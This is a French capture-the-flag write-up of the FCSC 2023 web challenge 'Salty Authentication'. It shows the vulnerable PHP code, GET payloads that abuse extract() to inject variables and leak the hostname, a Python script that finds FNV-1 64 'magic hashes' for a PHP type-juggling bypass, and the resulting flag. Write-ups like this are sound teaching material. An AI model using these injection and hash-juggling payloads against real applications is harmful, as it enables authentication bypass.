Description
Un système d’authentification salée…
http://salty-authentication.france-cybersecurity-challenge.fr/
Résolution
Ce challenge était l’un des plus facile de la catégorie web.
En arrivant sur le site on tombe sur une page blanche avec le code php affiché :
<?php
error_reporting(0);
include('flag.php');
$salt = bin2hex(random_bytes(12));
extract($_GET);
$secret = gethostname() . $salt;
if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret) {
if (hash('fnv164', $password) == hash('fnv164', $secret)) {
exit(htmlentities($flag));
} else {
echo('Wrong password!');
exit($log_attack());
}
}
highlight_file(__FILE__);
?>
Injection de variables
On comprend assez rapidement que l’on va pouvoir injecter des variables (et en ecraser certaines) grâce à l’usage de la fonction extract . Grâce à des paramètres GET, l’on va ainsi pouvoir contrôler les valeurs des variables suivantes : $salt, $password et $log_attack
Pour tester cette hypothèse il va falloir atteindre l’execution de $log_attack. Pour ça, nous devons faire en sorte que les conditions sur la variable $password soient validées :
if (isset($password) && strlen($password) === strlen($secret) && $password !== $secret)
On construit donc la payload suivante :
/?password=111111111111&salt=&log_attack=gethostname
A noter que cette payload va nous permettre de récupérer la valeur retournée par gethostname() .
On obtient comme réponse :
Wrong password!9be4a60f645f
Ainsi nous récupérons bien le hostname et validons notre hypothèse
Type Juggling & Hash magique
A présent pour afficher le flag, il va falloir que la condition suivante soit vraie :
hash('fnv164', $password) == hash('fnv164', $secret)
Ici on voit très rapidement que le code est vulnérable à du type juggling à cause de l’usage d’une loose comparaison ==
. Sous certaines conditions, une loose comparaison retournera vrai même si les 2 valeurs ne sont pas identiques :
"0000" == int(0) //TRUE
"0e12" == int(0) //TRUE
"1abc" == int(1) //TRUE
"0abc" == int(0) //TRUE
"abc" == int(0) //TRUE
"0e12" == "0e13" //TRUE (magic hash)
Ici malheureusement nous ne controlons pas directement les valeurs comparés. En effet ce qui est comparé c’est la sortie de la fonction hash pour les variables $password et $secret. On sait également que la sortie de la fonction hash sera une chaîne de caractère, ce qui réduit le champ d’attaque.
En revanche l’on contrôle $password et indirectement $secret. On en déduit 2 solutions possibles
- Générer une collision de hash avec l’algorythme fnv164 pour que le hash de $password et $secret soient strictement identiques.
- Faire en sorte que la fonction hash retourne des hashs magiques (magic hash). Ce sont des hashs interprétés comme int(0) par PHP.
Génération du hash magique
J’ai fait le choix de commencer par la génération de hashs magiques car plus facile à implémenter. Ces fameux hashs doivent débuter par 0e
suivi uniquement de chiffres :
"0e157845656454654452"
Pour générer ces hashs magiques j’ai utilisé le script python suivant :
from fnvhash import fnv1_64
import random
import string
hostname = b'9be4a60f645f'
while True:
salt = ''.join(random.choices(string.printable, k=5))
password = hostname+salt.encode('utf-8')
hash = hex(fnv1_64(password))
hash = hash[2:] #remove '0x'
if len(hash) == 15 and hash[0] == 'e' :
magic = True
for c in ['a','b','c','d','e','f'] :
if c in hash[1:] : # ignore the first e
magic = False
break
if magic :
print('0'+hash, " -- ",password, " -- ", salt)
A mon grand étonnement, le script trouve des hashs magiques instantanément :
~/Desktop/FCSC 2023/Salt Auth ························· INT ✘ 3s ─╮
❯ python3 exploit.py ─╯
0e08837456233725 -- b'9be4a60f645f9iy_n' -- 9iy_n
0e73554470750043 -- b'9be4a60f645fChMl0' -- ChMl0
0e05917456211952 -- b'9be4a60f645f9izil' -- 9izil
0e74986102685921 -- b'9be4a60f645ff&?Nm' -- f&?Nm
0e53707456630218 -- b'9be4a60f645f9iC,d' -- 9iC,d
....
....
J’ai arbitrairement choisi de prendre ces 2 là :
0e73554470750043 -- b'9be4a60f645fChMl0' -- ChMl0 (secret)
0e05917456211952 -- b'9be4a60f645f9izil' -- 9izil (password)
On peut alors crafter notre payload :
/?password=9be4a60f645f9izil&salt=ChMl0
On obtient alors le flag :
FCSC{d090643090b9ac9dd7cddc1d830f0457213e5b50e7a59f1fe493df69c60ac054}